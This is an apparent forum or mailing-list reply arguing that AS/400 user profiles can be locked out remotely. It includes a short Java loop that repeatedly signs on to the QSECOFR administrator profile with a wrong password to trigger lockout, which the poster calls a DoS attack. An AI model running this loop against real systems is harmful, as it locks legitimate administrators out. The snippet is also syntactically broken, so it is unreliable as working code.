What's your point?

You can disable any profile you know the name to for any server...

Interesting.... so what would happen if you coded this?

AS400 as400 = new AS400();

try {
   as400.setSystemName("as400-ip");
   for(int =0; i<100; i++)
       boolean ok = as400.validateSignon('QSECOFR', 'WRONGPASSWORD');
}
catch (Exception  exc) {
  errors = exc.getMessage();
}


Seems like a DOS attack to me. I can disable any user profile on the
system I want to. :-) Granted you could just go to a signon screen and
type in the same thing, but this seems "easier" to do.
